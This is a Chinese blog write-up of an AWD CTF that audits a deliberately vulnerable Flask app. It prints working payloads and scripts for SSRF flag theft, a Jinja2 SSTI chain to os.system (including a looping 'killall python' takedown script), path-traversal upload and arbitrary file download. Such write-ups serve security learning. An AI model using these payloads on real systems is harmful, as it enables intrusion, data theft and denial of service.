sky's blog

Long-Ago-AWD-Flasky

字数统计: 4,809阅读时长: 23 min
2018/04/15 Share

前记

周末无聊,恰逢AWD线下赛在即,于是翻出了曾经的AWD源码,考虑到python比较薄弱,于是准备详细分析一波,题目是flask框架写的,洞还挺多的XD

代码结构

首先一个框架写出的代码量肯定很大,我们必须浓缩且重点分析,才能发现问题,所以了解框架结构十分重要
首先看一下结构

1
2
3
4
5
6
app文件夹
migrations文件夹
tests文件夹
config.py
manage.py
data-dev.sqlite

还是老生常谈的问题,我们重点审计目标应该在app文件夹,因为它是放置应用程序的文件夹
而app文件夹目录下

1
2
3
4
5
6
7
8
9
api_1_0文件夹
auth文件夹
main文件夹
static文件夹
templates文件夹
__init__.py
decorators.py
exceptions.py
models.py

排除api接口,静态文件夹,初始化文件等,不难看出侧重点在于

1
2
auth文件夹
main文件夹

此时逐个击破即可

auth文件夹

该文件夹下有3个文件

1
2
3
__init__.py
forms.py
views.py

其中

1
__init__.py

用于初始化,我们不做分析

1
forms.py

用于表单的接受处理,大致浏览问题也不是很大

1
views.py

其中写了大量的路由,是这个文件夹的核心,也是我们重点分析的对象。从这里入手再合适不过了。
我们先来分析一下路由的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
@auth.before_app_request
def before_request():

@auth.route('/unconfirmed')
def unconfirmed():

@auth.route('/login', methods=['GET', 'POST'])
def login():

@auth.route('/logout')
@login_required

def register():

@auth.route('/confirm/<token>')
@login_required

@auth.route('/hello')
def hello():

@auth.route('/confirm')
@login_required
def resend_confirmation():

@auth.route('/change-password', methods=['GET', 'POST'])
@login_required
def change_password():

@auth.route('/reset', methods=['GET', 'POST'])
def password_reset_request():

@auth.route('/getimage/<url>')
def getimage(url):

@auth.route('/test', methods=['GET', 'POST'])
def test():

@auth.route('/reset/<token>', methods=['GET', 'POST'])
def password_reset(token):

@auth.route('/change-email', methods=['GET', 'POST'])
@login_required
def change_email_request():

@auth.route('/change-email/<token>')
@login_required
def change_email(token):

功能很多

1
2
3
4
5
6
7
8
9
10
1.login 登录功能
2.logout 退出登录功能
3.register 注册功能
4.confirm 确认功能
5.hello 可疑文件
6.change-password 更改密码功能
7.reset 重置功能
8.getimage 可疑文件,远程获取图片
9.test 可疑文件
10.change-email 更改邮箱

但冷静下来分析,发现可用点并不是很多

1
2
1.我们是不能访问外网的,邮箱注册功能基本是假的
2.数据使用为sqlite,并且基本上代码不存在注入,同时我们也拥有数据库,所以基本上用户相关的增删改查基本无效

所以我们的分析点并不是在register,login等操作上
这样一来,目标大幅减小为

1
2
3
1.hello
2.getimage
3.test

我们逐个击破

SSRF攻击点发现

这里我看到一个奇怪的路由

1
getimage

很像是刻意为之,代码如下

1
2
3
4
5
@auth.route('/getimage/<url>')
def getimage(url):
url=base64.b64decode(url)
img=requests.get(url)
return img.content

首先逻辑上,我们似乎并不需要远程获取图片,这个功能十分多余。
其次在代码上,这样的代码显然存在严重问题
我们清楚的能看到

1
<url>

参数没有任何的过滤,这显然会导致严重的SSRF攻击
我们尝试

1
http://127.0.0.1/flag

然后进行编码

1
aHR0cDovLzEyNy4wLjAuMS9mbGFn

我们访问

1
http://192.168.130.157:23232/auth/getimage/aHR0cDovLzEyNy4wLjAuMS9mbGFn

发现成功读取了flag信息
注:有人说这个方法多余,flag直接在web目录下,可以直接访问。实际上当时比赛的时候,主办方的规则是让我们用目标主机请求flag主机以获取flag,而这样的ssrf刚好适用

SSRF攻击点利用脚本

于是发现后,我们迅速写了通杀脚本

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
#coding:utf-8
import requests as req
import base64
url = 'http://172.16.0.%s/auth/getimage/aHR0cDovLzE3Mi4xNi4wLjMwOjgwMDAvZmxhZw=='
for x in [151,156,161,166,176,181,186,191,196,201]:
urll = url%(x)
try:
f = req.get(url=urll)
print f.content
except:
pass

即可坐收flag
但随后我意识到,这是一个get的请求,流量可以轻松发现漏洞,所以这样获取flag的方式是非常不稳的,很快就会被大家发现,所以我又开始了新的发掘之路

SSTI攻击发现

解决了上一个可疑路由,我又发现了一个新的可疑路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@auth.route('/test', methods=['GET', 'POST'])
def test():
if request.method=='POST':
if valid_login(request.form['username'],request.form['password']):
f=open('/tmp/'+request.form['username'],'w+')
f.write(request.form['x'])
f.close()
f=open('/tmp/'+request.form['username'],'r')
txt=f.read()
template = Template(txt)
return template.render()
else:
flash('just a test')
return redirect(url_for('auth.login'))

为什么莫名其妙会留了个test路由?只是为了测试吗?我迫不及待的进行审计
随后可以迅速的发现问题,首先是判断检测

1
2
3
4
5
if request.method=='POST':
...
else:
flash('just a test')
return redirect(url_for('auth.login'))

可以看出必须用POST方式
然后是下一个条件检测

1
if valid_login(request.form['username'],request.form['password'])

我们跟进这个检测函数valid_login()

1
2
3
4
5
def valid_login(username,password):
if username==base64.b64decode(password):
return True
else:
return False

很明显,这是出题人瞎写的检测,只需要username和password解base64的值相等即可
然后我们看下面的操作

1
2
3
4
5
6
7
f=open('/tmp/'+request.form['username'],'w+')
f.write(request.form['x'])
f.close()
f=open('/tmp/'+request.form['username'],'r')
txt=f.read()
template = Template(txt)
return template.render()

后续操作会在

1
/tmp

目录下创建一个以我们输入username为文件名的文件,然后将x参数的值写入该文件
然后再打开这个文件,再进行模板渲染
这就会引起严重的问题,因为渲染的内容,是我们随意控制的
我们不妨本地测试一下

1
2
3
4
5
6
root@ubuntu:/var/www/html# python
Python 2.7.12 (default, Dec 4 2017, 14:50:18)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> [c for c in [].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
1.tar.gz flag flasky index.php QWBflask test

而这里会渲染我们写入的内容,所以我们构造

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('ls /') }}
{% endif %}
{% endfor %}

我们进行url编码

1
%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%7b%7b%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%66%75%6e%63%5f%67%6c%6f%62%61%6c%73%5b%27%6c%69%6e%65%63%61%63%68%65%27%5d%2e%5f%5f%64%69%63%74%5f%5f%5b%27%6f%73%27%5d%2e%73%79%73%74%65%6d%28%27%6c%73%20%2f%27%29%20%7d%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d

并构造payload

1
2
3
x=%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%7b%7b%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%66%75%6e%63%5f%67%6c%6f%62%61%6c%73%5b%27%6c%69%6e%65%63%61%63%68%65%27%5d%2e%5f%5f%64%69%63%74%5f%5f%5b%27%6f%73%27%5d%2e%73%79%73%74%65%6d%28%27%6c%73%20%2f%27%29%20%7d%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d
&username=sky
&password=c2t5

然后我们可以看一下

1
2
3
4
5
192.168.130.1 - - [15/Apr/2018 00:20:51] "POST /auth/test HTTP/1.1" 200 -
bin etc lib mnt run sys vmlinuz
boot home lib64 opt sbin tmp vmlinuz.old
cdrom initrd.img lost+found proc snap usr
dev initrd.img.old media root srv var

发现命令在服务器上执行成功

SSTI攻击点利用脚本

发现可以命令执行,我们马上想到反弹shell,但是这样未免过于繁琐
后来队友想出了更加XD的思路

1
killall python

因为主办方没有说不能这样使目标宕机
于是我们尝试

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('killall python') }}
{% endif %}
{% endfor %}

我们执行

1
x=%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%7b%7b%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%66%75%6e%63%5f%67%6c%6f%62%61%6c%73%5b%27%6c%69%6e%65%63%61%63%68%65%27%5d%2e%5f%5f%64%69%63%74%5f%5f%5b%27%6f%73%27%5d%2e%73%79%73%74%65%6d%28%27%6b%69%6c%6c%61%6c%6c%20%70%79%74%68%6f%6e%27%29%20%7d%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d&username=sky&password=c2t5

目标机器瞬间宕机
这样快捷的操作,分值显然高于flag的得分,要知道,一台机子宕机是100分,而一个flag仅仅25分,而当时的check,竟然是和flag发放一样,5分钟一轮,这样的宕机方法瞬间给我们带来了巨大收益
我们迅速写出了攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
#coding:utf-8
import requests as req
import base64
import time
url = 'http://172.16.0.%s/auth/test'
payload = '%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%7b%7b%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%66%75%6e%63%5f%67%6c%6f%62%61%6c%73%5b%27%6c%69%6e%65%63%61%63%68%65%27%5d%2e%5f%5f%64%69%63%74%5f%5f%5b%27%6f%73%27%5d%2e%73%79%73%74%65%6d%28%27%6b%69%6c%6c%61%6c%6c%20%70%79%74%68%6f%6e%27%29%20%7d%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d'
data = {
'x':payload,,
'username':'sky',
'password':'c2t5'
}
while True:
for i in [151,156,161,166,176,181,186,191,196,201]:
urll = url%(i)
try:
f = req.post(url=urll,data=data)
print url1,"is down!"
except:
pass
time.sleep(120)

SSTI再研究

但此时我们并不能安于现状,我们继续审计漏洞
我们回顾一下,剩下还未被研究的可疑路由只剩一个

1
hello

所以我的目标一下落在了hello这个奇怪路由上

1
2
3
4
5
@auth.route('/hello')
def hello():
html=open('/var/www/html/flasky/app/templates/test.txt','r')
template = Template(html.read())
return template.render()

这个路由会渲染

1
/var/www/html/flasky/app/templates/

目录下的test.txt文件,但是目前这个文件夹下的test.txt是一个正经的文件,我们需要一个任意文件写入,或者上传的点,这个点我们先mark下来!后续会进行利用

main文件夹

该文件夹下有4个文件

1
2
3
4
__init__.py
errors.py
forms.py
views.py

其中

1
__init__.py

用于初始化

1
errors.py

用于处理403,404,500等状态

1
forms.py

用于表单的接受处理,同样几乎不存在问题

1
views.py

同样是路由,也是核心,有了上一个文件夹的经验,我们用同样的方法进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
def allowed_file(filename):

@main.after_app_request
def after_request(response):

@main.route('/shutdown')
def server_shutdown():

@main.route('/', methods=['GET', 'POST'])
def index():

@main.route('/user/<username>')
def user(username):

@main.route('/edit-profile', methods=['GET', 'POST'])
@login_required
def edit_profile():

@main.route('/edit-profile/<int:id>', methods=['GET', 'POST'])
@login_required
@admin_required
def edit_profile_admin(id):

@main.route('/post/<int:id>', methods=['GET', 'POST'])
def post(id):

@main.route('/upload', methods=['GET', 'POST'])
@login_required
def upload():

@main.route('/edit/<int:id>', methods=['GET', 'POST'])
@login_required
def edit(id):

@main.route('/download/<filename>')
@login_required
def download(filename):

@main.route('/follow/<username>')
@login_required
@permission_required(Permission.FOLLOW)
def follow(username):

@main.route('/unfollow/<username>')
@login_required
@permission_required(Permission.FOLLOW)
def unfollow(username):

@main.route('/followers/<username>')
def followers(username):

@main.route('/followed-by/<username>')
def followed_by(username):

@main.route('/all')
@login_required
def show_all():

@main.route('/followed')
@login_required
def show_followed():

@main.route('/moderate')
@login_required
@permission_required(Permission.MODERATE_COMMENTS)
def moderate():

@main.route('/moderate/enable/<int:id>')
@login_required
@permission_required(Permission.MODERATE_COMMENTS)
def moderate_enable(id):

@main.route('/moderate/disable/<int:id>')
@login_required
@permission_required(Permission.MODERATE_COMMENTS)
def moderate_disable(id):

这里不难看出,大部分都是需要登录后的操作,因为这里我们还没有涉及登录,所以我们先看无需登录的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@main.after_app_request
def after_request(response):

@main.route('/shutdown')
def server_shutdown():

@main.route('/', methods=['GET', 'POST'])
def index():

@main.route('/user/<username>')
def user(username):

@main.route('/post/<int:id>', methods=['GET', 'POST'])
def post(id):

@main.route('/followers/<username>')
def followers(username):

@main.route('/followed-by/<username>')
def followed_by(username):

依次检查过去,除了shutdown()这个看起来就很可疑的路由外,其他的基本不存在问题。所以我们的重心来到shutdown()的分析

超坑的shutdown()

我们不难发现一个奇怪的路由

1
2
3
4
5
6
7
8
9
@main.route('/shutdown')
def server_shutdown():
if not current_app.testing:
abort(404)
shutdown = request.environ.get('werkzeug.server.shutdown')
if not shutdown:
abort(500)
shutdown()
return 'Shutting down...'

一开始我以为这个访问之后就会使服务宕机
但是测试了N久,发现都是抛出404
后面我跟了一下这个

1
current_app.testing

跟踪tesing

1
testing = ConfigAttribute('TESTING')

继续跟踪ConfigAttribute()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class ConfigAttribute(object):
"""Makes an attribute forward to the config"""

def __init__(self, name, get_converter=None):
self.__name__ = name
self.get_converter = get_converter

def __get__(self, obj, type=None):
if obj is None:
return self
rv = obj.config[self.__name__]
if self.get_converter is not None:
rv = self.get_converter(rv)
return rv

def __set__(self, obj, value):
obj.config[self.__name__] = value

发现TESTING是对象,查找默认配置

1
2
3
4
5
 default_config = ImmutableDict({
'DEBUG': get_debug_flag(default=False),
'TESTING': False,
......
})

发现TESTING默认是False,由ConfigAttribute()传递给testing
回到之前的判断

1
2
if not current_app.testing:
abort(404)

不难看出判断成立,所以abort()
这里应该是出题人留的坑吧= =好像并不能使用

密码发掘

当然我们不会止步于目前的现状
因为框架中main文件夹带有大量登录的功能,为了继续发掘,我们进行密码探寻
显然数据库中存在唯一数据

1
2
username:xdctf
password_hash:pbkdf2:sha256:50000$ziAb6YfH$fa52620060a18fd86baf6b3b7f797cbcb325956898077752e8c14585aa3af044

直接破解不存在可能
经过弱密码破解过了一会儿也没有结果
最后我们选择直接尝试题目最开始的服务器初始密码
没想到阴差阳错登录成功
下面我们来探查需要登录的功能是否存在攻击点

login之后的攻击

upload+SSTI攻击组合

想到之前的

1
/auth/hello

路由的方法

1
2
3
4
5
@auth.route('/hello')
def hello():
html=open('/var/www/html/flasky/app/templates/test.txt','r')
template = Template(html.read())
return template.render()

我们只要上传test.txt到指定目录即可
此时我们看上传功能

1
2
3
4
5
6
7
8
9
10
11
12
@main.route('/upload', methods=['GET', 'POST'])
@login_required
def upload():
if request.method == 'POST':
file = request.files['file']
if file and allowed_file(file.filename):
filename = file.filename
file.save(os.path.join(UPLOAD_FOLDER, filename))
return 'upload success'
else:
return 'dont allow'
return render_template('upload.html',pagination=False)

此时存在过滤allowed_file()
我们跟踪一下

1
2
3
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS

我们继续跟一下后缀白名单ALLOWED_EXTENSIONS

1
ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif','html'])

发现txt允许上传,根本无需Bypass
我们再看上传路径

1
file.save(os.path.join(UPLOAD_FOLDER, filename))

跟一下UPLOAD_FOLDER

1
UPLOAD_FOLDER = '/tmp'

不难看出存在目录穿越问题
对于文件名只检查了后缀名,而除此之外也不存在过滤
所以我们可以构造这样的filename

1
../../../../../../../var/www/html/flasky/app/templates/test.txt

数据包

1
2
3
4
5
6
7
8
9
10
------WebKitFormBoundaryp48DQKUgx3itH8PS
Content-Disposition: form-data; name="file"; filename="../../../../../../../var/www/html/flasky/app/templates/test.txt"
Content-Type: text/plain

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('ls /') }}
{% endif %}
{% endfor %}
------WebKitFormBoundaryp48DQKUgx3itH8PS--

我们去触发模板渲染
不难看到

1
2
3
4
bin    dev   initrd.img      lib64	 mnt   root  snap  tmp	vmlinuz
boot etc initrd.img.old lost+found opt run srv usr vmlinuz.old
cdrom home lib media proc sbin sys var
192.168.130.1 - - [15/Apr/2018 05:33:59] "GET /auth/hello HTTP/1.1" 200 -

我们成功触发了SSTI攻击
此时只要效仿之前的SSTI打法即可

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('killall python') }}
{% endif %}
{% endfor %}

通杀宕机,稳坐拿分XD
但是这样的方法也有些鸡肋
毕竟登录+上传才可以触发
通杀脚本想打20台机子,比较麻烦,还得挨个尝试默认密码登录获取session
再模拟上传,再触发渲染导致攻击,所以这里的通杀脚本就不赘述了。

任意文件下载

1
2
3
4
5
6
@main.route('/download/<filename>')
@login_required
def download(filename):
filename=base64.b64decode(filename)
f=open(filename,'r')
return f.read()

上传过后自然想到的是下载,这里的下载也显然是毫无过滤的
不难看出只需要构造

1
/var/www/html/flag

再经过base64

1
L3Zhci93d3cvaHRtbC9mbGFn

访问

1
/download/L3Zhci93d3cvaHRtbC9mbGFn

即可下载flag文件

鸡肋鸡肋

但是比较痛苦的一点是
登录后打击需要满足多个条件:

1
2
1.你的对手没有发现数据库中留下的用户默认密码为服务器密码
2.你的对手没有更改默认密码

同时,即便你这样做到了登录,并偷偷修改了对手的默认用户密码,一旦对手发现了这一点
他们可以直接操纵数据库强行更改密码。这样你也无可奈何。毕竟我们没有邮箱注册的方法。
除非我们能够迅速操作并留下不死马

总结

总得来看,这次的漏洞点还算都比较明显,应该出题人是尽责自己纯手写的代码了。当然在现场比赛的时候,静心审计代码并且快速利用还是有些困难的。希望自己能变的越来越好吧~
当然有大师傅们有什么奇淫技巧也可以和我多多交流XD~

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前记
  2. 2. 代码结构
  3. 3. auth文件夹
    1. 3.1. SSRF攻击点发现
    2. 3.2. SSRF攻击点利用脚本
    3. 3.3. SSTI攻击发现
    4. 3.4. SSTI攻击点利用脚本
    5. 3.5. SSTI再研究
  4. 4. main文件夹
    1. 4.1. 超坑的shutdown()
  5. 5. 密码发掘
  6. 6. login之后的攻击
    1. 6.1. upload+SSTI攻击组合
    2. 6.2. 任意文件下载
    3. 6.3. 鸡肋鸡肋
  7. 7. 总结